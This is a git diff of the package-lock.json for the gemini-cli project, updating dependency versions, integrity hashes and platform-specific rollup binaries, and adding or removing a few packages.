diff --git a/package-lock.json b/package-lock.json
index 371d621009d..93f14b5f792 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -7,6 +7,7 @@
"": {
"name": "@google/gemini-cli",
"version": "0.10.0-nightly.20251007.c195a9aa",
+ "hasInstallScript": true,
"workspaces": [
"packages/*"
],
@@ -34,7 +35,7 @@
"eslint-plugin-license-header": "^0.8.0",
"eslint-plugin-react": "^7.37.5",
"eslint-plugin-react-hooks": "^5.2.0",
- "glob": "^10.4.5",
+ "glob": "^10.5.0",
"globals": "^16.0.0",
"google-artifactregistry-auth": "^3.4.0",
"husky": "^9.1.7",
@@ -1524,6 +1525,18 @@
"node": ">=6"
}
},
+ "node_modules/@hono/node-server": {
+ "version": "1.19.9",
+ "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.9.tgz",
+ "integrity": "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18.14.1"
+ },
+ "peerDependencies": {
+ "hono": "^4"
+ }
+ },
"node_modules/@humanfs/core": {
"version": "0.19.1",
"resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz",
@@ -1703,29 +1716,6 @@
}
}
},
- "node_modules/@isaacs/balanced-match": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/@isaacs/balanced-match/-/balanced-match-4.0.1.tgz",
- "integrity": "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": "20 || >=22"
- }
- },
- "node_modules/@isaacs/brace-expansion": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/@isaacs/brace-expansion/-/brace-expansion-5.0.0.tgz",
- "integrity": "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@isaacs/balanced-match": "^4.0.1"
- },
- "engines": {
- "node": "20 || >=22"
- }
- },
"node_modules/@isaacs/cliui": {
"version": "8.0.2",
"resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz",
@@ -2097,26 +2087,43 @@
]
},
"node_modules/@modelcontextprotocol/sdk": {
- "version": "1.15.1",
- "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.15.1.tgz",
- "integrity": "sha512-W/XlN9c528yYn+9MQkVjxiTPgPxoxt+oczfjHBDsJx0+59+O7B75Zhsp0B16Xbwbz8ANISDajh6+V7nIcPMc5w==",
+ "version": "1.26.0",
+ "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.26.0.tgz",
+ "integrity": "sha512-Y5RmPncpiDtTXDbLKswIJzTqu2hyBKxTNsgKqKclDbhIgg1wgtf1fRuvxgTnRfcnxtvvgbIEcqUOzZrJ6iSReg==",
"license": "MIT",
"dependencies": {
- "ajv": "^6.12.6",
+ "@hono/node-server": "^1.19.9",
+ "ajv": "^8.17.1",
+ "ajv-formats": "^3.0.1",
"content-type": "^1.0.5",
"cors": "^2.8.5",
"cross-spawn": "^7.0.5",
"eventsource": "^3.0.2",
"eventsource-parser": "^3.0.0",
- "express": "^5.0.1",
- "express-rate-limit": "^7.5.0",
+ "express": "^5.2.1",
+ "express-rate-limit": "^8.2.1",
+ "hono": "^4.11.4",
+ "jose": "^6.1.3",
+ "json-schema-typed": "^8.0.2",
"pkce-challenge": "^5.0.0",
"raw-body": "^3.0.0",
- "zod": "^3.23.8",
- "zod-to-json-schema": "^3.24.1"
+ "zod": "^3.25 || ^4.0",
+ "zod-to-json-schema": "^3.25.1"
},
"engines": {
"node": ">=18"
+ },
+ "peerDependencies": {
+ "@cfworker/json-schema": "^4.1.1",
+ "zod": "^3.25 || ^4.0"
+ },
+ "peerDependenciesMeta": {
+ "@cfworker/json-schema": {
+ "optional": true
+ },
+ "zod": {
+ "optional": false
+ }
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/accepts": {
@@ -2132,36 +2139,57 @@
"node": ">= 0.6"
}
},
+ "node_modules/@modelcontextprotocol/sdk/node_modules/ajv": {
+ "version": "8.18.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz",
+ "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==",
+ "license": "MIT",
+ "dependencies": {
+ "fast-deep-equal": "^3.1.3",
+ "fast-uri": "^3.0.1",
+ "json-schema-traverse": "^1.0.0",
+ "require-from-string": "^2.0.2"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/epoberezkin"
+ }
+ },
"node_modules/@modelcontextprotocol/sdk/node_modules/body-parser": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.2.0.tgz",
- "integrity": "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg==",
+ "version": "2.2.2",
+ "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz",
+ "integrity": "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==",
"license": "MIT",
"dependencies": {
"bytes": "^3.1.2",
"content-type": "^1.0.5",
- "debug": "^4.4.0",
+ "debug": "^4.4.3",
"http-errors": "^2.0.0",
- "iconv-lite": "^0.6.3",
+ "iconv-lite": "^0.7.0",
"on-finished": "^2.4.1",
- "qs": "^6.14.0",
- "raw-body": "^3.0.0",
- "type-is": "^2.0.0"
+ "qs": "^6.14.1",
+ "raw-body": "^3.0.1",
+ "type-is": "^2.0.1"
},
"engines": {
"node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/content-disposition": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.0.0.tgz",
- "integrity": "sha512-Au9nRL8VNUut/XSzbQA38+M78dzP4D+eqg3gfJHMIHHYa3bg067xj1KxMUWj+VULbiZMowKngFFbKczUrNJ1mg==",
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.0.1.tgz",
+ "integrity": "sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q==",
"license": "MIT",
- "dependencies": {
- "safe-buffer": "5.2.1"
- },
"engines": {
- "node": ">= 0.6"
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/cookie-signature": {
@@ -2173,19 +2201,37 @@
"node": ">=6.6.0"
}
},
+ "node_modules/@modelcontextprotocol/sdk/node_modules/debug": {
+ "version": "4.4.3",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+ "license": "MIT",
+ "dependencies": {
+ "ms": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
"node_modules/@modelcontextprotocol/sdk/node_modules/express": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/express/-/express-5.1.0.tgz",
- "integrity": "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA==",
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz",
+ "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==",
"license": "MIT",
"dependencies": {
"accepts": "^2.0.0",
- "body-parser": "^2.2.0",
+ "body-parser": "^2.2.1",
"content-disposition": "^1.0.0",
"content-type": "^1.0.5",
"cookie": "^0.7.1",
"cookie-signature": "^1.2.1",
"debug": "^4.4.0",
+ "depd": "^2.0.0",
"encodeurl": "^2.0.0",
"escape-html": "^1.0.3",
"etag": "^1.8.1",
@@ -2216,9 +2262,9 @@
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/finalhandler": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.0.tgz",
- "integrity": "sha512-/t88Ty3d5JWQbWYgaOGCCYfXRwV1+be02WqYYlL6h0lEiUAMPM8o8qKGO01YIkOHzka2up08wvgYD0mDiI+q3Q==",
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz",
+ "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==",
"license": "MIT",
"dependencies": {
"debug": "^4.4.0",
@@ -2229,7 +2275,11 @@
"statuses": "^2.0.1"
},
"engines": {
- "node": ">= 0.8"
+ "node": ">= 18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/fresh": {
@@ -2241,6 +2291,48 @@
"node": ">= 0.8"
}
},
+ "node_modules/@modelcontextprotocol/sdk/node_modules/http-errors": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
+ "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
+ "license": "MIT",
+ "dependencies": {
+ "depd": "~2.0.0",
+ "inherits": "~2.0.4",
+ "setprototypeof": "~1.2.0",
+ "statuses": "~2.0.2",
+ "toidentifier": "~1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.8"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/@modelcontextprotocol/sdk/node_modules/iconv-lite": {
+ "version": "0.7.2",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz",
+ "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==",
+ "license": "MIT",
+ "dependencies": {
+ "safer-buffer": ">= 2.1.2 < 3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/@modelcontextprotocol/sdk/node_modules/json-schema-traverse": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+ "license": "MIT"
+ },
"node_modules/@modelcontextprotocol/sdk/node_modules/media-typer": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz",
@@ -2272,9 +2364,9 @@
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/qs": {
- "version": "6.14.0",
- "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.0.tgz",
- "integrity": "sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==",
+ "version": "6.15.0",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.0.tgz",
+ "integrity": "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==",
"license": "BSD-3-Clause",
"dependencies": {
"side-channel": "^1.1.0"
@@ -2287,31 +2379,35 @@
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/send": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/send/-/send-1.2.0.tgz",
- "integrity": "sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw==",
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz",
+ "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==",
"license": "MIT",
"dependencies": {
- "debug": "^4.3.5",
+ "debug": "^4.4.3",
"encodeurl": "^2.0.0",
"escape-html": "^1.0.3",
"etag": "^1.8.1",
"fresh": "^2.0.0",
- "http-errors": "^2.0.0",
- "mime-types": "^3.0.1",
+ "http-errors": "^2.0.1",
+ "mime-types": "^3.0.2",
"ms": "^2.1.3",
"on-finished": "^2.4.1",
"range-parser": "^1.2.1",
- "statuses": "^2.0.1"
+ "statuses": "^2.0.2"
},
"engines": {
"node": ">= 18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/serve-static": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.0.tgz",
- "integrity": "sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz",
+ "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==",
"license": "MIT",
"dependencies": {
"encodeurl": "^2.0.0",
@@ -2321,6 +2417,10 @@
},
"engines": {
"node": ">= 18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
}
},
"node_modules/@modelcontextprotocol/sdk/node_modules/type-is": {
@@ -3252,9 +3352,9 @@
"license": "BSD-3-Clause"
},
"node_modules/@rollup/rollup-android-arm-eabi": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.44.0.tgz",
- "integrity": "sha512-xEiEE5oDW6tK4jXCAyliuntGR+amEMO7HLtdSshVuhFnKTYoeYMyXQK7pLouAJJj5KHdwdn87bfHAR2nSdNAUA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",
+ "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==",
"cpu": [
"arm"
],
@@ -3266,9 +3366,9 @@
]
},
"node_modules/@rollup/rollup-android-arm64": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.44.0.tgz",
- "integrity": "sha512-uNSk/TgvMbskcHxXYHzqwiyBlJ/lGcv8DaUfcnNwict8ba9GTTNxfn3/FAoFZYgkaXXAdrAA+SLyKplyi349Jw==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",
+ "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==",
"cpu": [
"arm64"
],
@@ -3280,9 +3380,9 @@
]
},
"node_modules/@rollup/rollup-darwin-arm64": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.44.0.tgz",
- "integrity": "sha512-VGF3wy0Eq1gcEIkSCr8Ke03CWT+Pm2yveKLaDvq51pPpZza3JX/ClxXOCmTYYq3us5MvEuNRTaeyFThCKRQhOA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",
+ "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==",
"cpu": [
"arm64"
],
@@ -3294,9 +3394,9 @@
]
},
"node_modules/@rollup/rollup-darwin-x64": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.44.0.tgz",
- "integrity": "sha512-fBkyrDhwquRvrTxSGH/qqt3/T0w5Rg0L7ZIDypvBPc1/gzjJle6acCpZ36blwuwcKD/u6oCE/sRWlUAcxLWQbQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",
+ "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==",
"cpu": [
"x64"
],
@@ -3308,9 +3408,9 @@
]
},
"node_modules/@rollup/rollup-freebsd-arm64": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.44.0.tgz",
- "integrity": "sha512-u5AZzdQJYJXByB8giQ+r4VyfZP+walV+xHWdaFx/1VxsOn6eWJhK2Vl2eElvDJFKQBo/hcYIBg/jaKS8ZmKeNQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",
+ "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==",
"cpu": [
"arm64"
],
@@ -3322,9 +3422,9 @@
]
},
"node_modules/@rollup/rollup-freebsd-x64": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.44.0.tgz",
- "integrity": "sha512-qC0kS48c/s3EtdArkimctY7h3nHicQeEUdjJzYVJYR3ct3kWSafmn6jkNCA8InbUdge6PVx6keqjk5lVGJf99g==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",
+ "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==",
"cpu": [
"x64"
],
@@ -3336,9 +3436,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm-gnueabihf": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.44.0.tgz",
- "integrity": "sha512-x+e/Z9H0RAWckn4V2OZZl6EmV0L2diuX3QB0uM1r6BvhUIv6xBPL5mrAX2E3e8N8rEHVPwFfz/ETUbV4oW9+lQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",
+ "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==",
"cpu": [
"arm"
],
@@ -3350,9 +3450,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm-musleabihf": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.44.0.tgz",
- "integrity": "sha512-1exwiBFf4PU/8HvI8s80icyCcnAIB86MCBdst51fwFmH5dyeoWVPVgmQPcKrMtBQ0W5pAs7jBCWuRXgEpRzSCg==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",
+ "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==",
"cpu": [
"arm"
],
@@ -3364,9 +3464,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm64-gnu": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.44.0.tgz",
- "integrity": "sha512-ZTR2mxBHb4tK4wGf9b8SYg0Y6KQPjGpR4UWwTFdnmjB4qRtoATZ5dWn3KsDwGa5Z2ZBOE7K52L36J9LueKBdOQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",
+ "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==",
"cpu": [
"arm64"
],
@@ -3378,9 +3478,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm64-musl": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.44.0.tgz",
- "integrity": "sha512-GFWfAhVhWGd4r6UxmnKRTBwP1qmModHtd5gkraeW2G490BpFOZkFtem8yuX2NyafIP/mGpRJgTJ2PwohQkUY/Q==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",
+ "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==",
"cpu": [
"arm64"
],
@@ -3391,10 +3491,24 @@
"linux"
]
},
- "node_modules/@rollup/rollup-linux-loongarch64-gnu": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.44.0.tgz",
- "integrity": "sha512-xw+FTGcov/ejdusVOqKgMGW3c4+AgqrfvzWEVXcNP6zq2ue+lsYUgJ+5Rtn/OTJf7e2CbgTFvzLW2j0YAtj0Gg==",
+ "node_modules/@rollup/rollup-linux-loong64-gnu": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",
+ "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-loong64-musl": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",
+ "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==",
"cpu": [
"loong64"
],
@@ -3405,10 +3519,24 @@
"linux"
]
},
- "node_modules/@rollup/rollup-linux-powerpc64le-gnu": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.44.0.tgz",
- "integrity": "sha512-bKGibTr9IdF0zr21kMvkZT4K6NV+jjRnBoVMt2uNMG0BYWm3qOVmYnXKzx7UhwrviKnmK46IKMByMgvpdQlyJQ==",
+ "node_modules/@rollup/rollup-linux-ppc64-gnu": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",
+ "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-ppc64-musl": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",
+ "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==",
"cpu": [
"ppc64"
],
@@ -3420,9 +3548,9 @@
]
},
"node_modules/@rollup/rollup-linux-riscv64-gnu": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.44.0.tgz",
- "integrity": "sha512-vV3cL48U5kDaKZtXrti12YRa7TyxgKAIDoYdqSIOMOFBXqFj2XbChHAtXquEn2+n78ciFgr4KIqEbydEGPxXgA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",
+ "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==",
"cpu": [
"riscv64"
],
@@ -3434,9 +3562,9 @@
]
},
"node_modules/@rollup/rollup-linux-riscv64-musl": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.44.0.tgz",
- "integrity": "sha512-TDKO8KlHJuvTEdfw5YYFBjhFts2TR0VpZsnLLSYmB7AaohJhM8ctDSdDnUGq77hUh4m/djRafw+9zQpkOanE2Q==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",
+ "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==",
"cpu": [
"riscv64"
],
@@ -3448,9 +3576,9 @@
]
},
"node_modules/@rollup/rollup-linux-s390x-gnu": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.44.0.tgz",
- "integrity": "sha512-8541GEyktXaw4lvnGp9m84KENcxInhAt6vPWJ9RodsB/iGjHoMB2Pp5MVBCiKIRxrxzJhGCxmNzdu+oDQ7kwRA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",
+ "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==",
"cpu": [
"s390x"
],
@@ -3462,9 +3590,9 @@
]
},
"node_modules/@rollup/rollup-linux-x64-gnu": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.44.0.tgz",
- "integrity": "sha512-iUVJc3c0o8l9Sa/qlDL2Z9UP92UZZW1+EmQ4xfjTc1akr0iUFZNfxrXJ/R1T90h/ILm9iXEY6+iPrmYB3pXKjw==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",
+ "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==",
"cpu": [
"x64"
],
@@ -3476,9 +3604,9 @@
]
},
"node_modules/@rollup/rollup-linux-x64-musl": {
- "version": "4.44.0",
